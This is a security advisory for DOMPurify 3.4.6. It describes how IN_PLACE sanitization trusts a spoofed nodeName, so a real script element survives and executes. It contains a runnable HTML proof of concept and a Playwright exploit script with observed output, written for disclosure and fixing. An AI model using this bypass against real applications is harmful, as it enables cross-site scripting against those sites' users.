GHSA-x4vx-rjvf-j5p4
DOMPurify: `IN_PLACE` mode trusts attacker-controlled `nodeName` on live non-form nodes, allowing script retention and XSS via attacker-supplied DOM objects
Details
## Summary
When `DOMPurify.sanitize(root, { IN_PLACE: true })` is called on an attacker-supplied live DOM node, `DOMPurify` still trusts `currentNode.nodeName` for non-`form` nodes in the main `_sanitizeElements` pipeline. A real `<script>` child node whose observable `nodeName` is attacker-controlled can therefore be misclassified as an allowed element and retained. When the sanitized tree is inserted into a live document, the script executes.
This affects current `3.4.6`. The recent `IN_PLACE` hardening work covers clobbered `form` handling and foreign-realm shadow/template traversal, but does not harden the main per-node element decision for hostile non-`form` live nodes.
## Affected
- DOMPurify `3.4.6` - Any caller that does `DOMPurify.sanitize(node, { IN_PLACE: true })` on attacker-supplied live DOM nodes - Verified attacker-controlled node sources: - same-origin `iframe` → live node passed by reference - same-origin `window.open()` popup → live node passed by reference - same-origin foreign node adopted into the host document via `document.adoptNode(node)` and then sanitized in-place
Not affected:
- String-input `DOMPurify.sanitize(dirtyString)`
## Vulnerability details
### Code paths
[A] — `_sanitizeElements` uses the instance-visible `nodeName` for the allow/forbid decision:
```ts const _sanitizeElements = function (currentNode: any): boolean { ... if (_isClobbered(currentNode)) { _forceRemove(currentNode); return true; }
const tagName = transformCaseFunc(currentNode.nodeName); ... if ( FORBID_TAGS[tagName] || (!(...) && !ALLOWED_TAGS[tagName]) ) { ... _forceRemove(currentNode); return true; } ... }; ```
For non-`form` nodes, `_isClobbered(currentNode)` returns `false` early. The subsequent element decision therefore trusts `currentNode.nodeName` directly.
[B] — `_isClobbered` is `form`-specific:
```ts const _isClobbered = function (element: Element): boolean { const realTagName = getNodeName ? getNodeName(element) : null; if (typeof realTagName !== 'string') { return false; }
if (transformCaseFunc(realTagName) !== 'form') { return false; }
return (...); }; ```
The hardening is intentionally scoped to `form`. Non-`form` nodes are not checked for divergence between the instance-visible property view and the trusted prototype getter view.
### Why the bypass works
The attack does **not** depend on string HTML parsing. It depends on a hostile live DOM object crossing a trust boundary into `DOMPurify`'s `IN_PLACE` pipeline.
If the attacker controls a same-origin subcontext (`iframe` or popup), they can prepare a real DOM subtree there and then pass the live node object by reference to a host page that trusts `DOMPurify.sanitize(node, { IN_PLACE: true })` as its final sanitization step.
For the verified primitive below:
- the real child node is `<script>` - its script text is attacker-controlled - the observable `nodeName` is attacker-controlled and made to appear as `"DIV"` - `_sanitizeElements` therefore classifies the real `<script>` child as an allowed element - the real `<script>` survives in the sanitized tree and executes on insertion
This primitive survives:
- direct reference passing - `document.adoptNode(node)` followed by `IN_PLACE`
It does **not** survive:
- `importNode` - `cloneNode`
because those paths materialize a fresh node and discard the hostile object semantics.
## Proof of concept
### (1) Minimal — runnable in a single browser context
```html <!doctype html> <html><body> <script src="dist/purify.js"></script> <script> const foreign = window.open('about:blank', '_blank', 'noopener=no');
const host = foreign.document.createElement('div'); const script = foreign.document.createElement('script'); script.textContent = 'window.__pwned = 1'; Object.defineProperty(script, 'nodeName', { value: 'DIV', configurable: true, }); host.appendChild(script);
DOMPurify.sanitize(host, { IN_PLACE: true });
console.log('output:', host.outerHTML); // <div><script>window.__pwned = 1</script></div>
window.__pwned = 0; document.body.appendChild(host); console.log('handler fired:', window.__pwned === 1); // true </script> </body></html> ```
### (2) End-to-end — Playwright
```js const { chromium } = require('playwright'); const path = require('path');
(async () => { const browser = await chromium.launch(); const page = await browser.newPage(); await page.goto('about:blank'); await page.addScriptTag({ path: path.resolve('dist/purify.js') });
const result = await page.evaluate(async () => { window.__hits = [];
const foreign = window.open('about:blank', '_blank', 'noopener=no'); const host = foreign.document.createElement('div'); const script = foreign.document.createElement('script'); script.textContent = 'top.__hits.push("script-fired")'; Object.defineProperty(script, 'nodeName', { value: 'DIV', configurable: true, }); host.appendChild(script);
DOMPurify.sanitize(host, { IN_PLACE: true }); document.body.appendChild(host);
return { version: DOMPurify.version, output: host.outerHTML, fired: window.__hits.includes('script-fired'), }; });
console.log(result); await browser.close(); })(); ```
Observed:
- Chromium / Firefox / WebKit
```js { version: '3.4.6', output: '<div><script>top.__hits.push("script-fired")</script></div>', fired: true } ```
## Impact
### Direct
XSS via retained real `<script>` nodes inside attacker-supplied live DOM objects.
Any consumer that uses `DOMPurify.sanitize(node, { IN_PLACE: true })` as a security boundary for live DOM objects supplied by a lower-trust same-origin subcontext is vulnerable.
The typical pattern is:
```js // attacker-controlled same-origin subcontext prepares a live node const foreignNode = attackerFrame.contentWindow.makeNode();
// host treats DOMPurify as the last security gate DOMPurify.sanitize(foreignNode, { IN_PLACE: true }); container.appendChild(foreignNode); ```
If `foreignNode` is a hostile live DOM object whose real child is `<script>` but whose observable `nodeName` is attacker-controlled, the sanitized output still contains the real script node when re-inserted into the live document.
### Indirect / second-order
- Applications that accept same-origin plugin / extension / widget DOM and rely on `IN_PLACE` as the final sanitization step - Editor or design-tool architectures where lower-trust subcontexts submit live DOM subtrees to a higher-trust host for in-place sanitization
## Suggested fix
Two minimal-risk options:
1. Stop trusting instance-visible `nodeName` for the element decision in `IN_PLACE`.
Use the cached prototype getter (or another trusted realm-safe primitive) for the allow/forbid decision, just as the recent hardening already does for selected root and shadow-root checks.
In other words, the main pipeline should not do:
```ts const tagName = transformCaseFunc(currentNode.nodeName); ```
on hostile live objects.
2. Generalize hostile-node detection beyond `form`.
The current `_isClobbered()` logic is `form`-specific. A more defensive approach would reject or strictly sanitize any `IN_PLACE` node whose instance-visible critical properties diverge from the trusted prototype getter view, at least for:
- `nodeName` - `attributes` - `childNodes`
Either approach would close the verified primitive above.
Are you affected?
Enter the version of the package you're using.
Affected packages
0 No fixed version published yet for dompurify (npm). Pin to a known-safe version or switch to an alternative.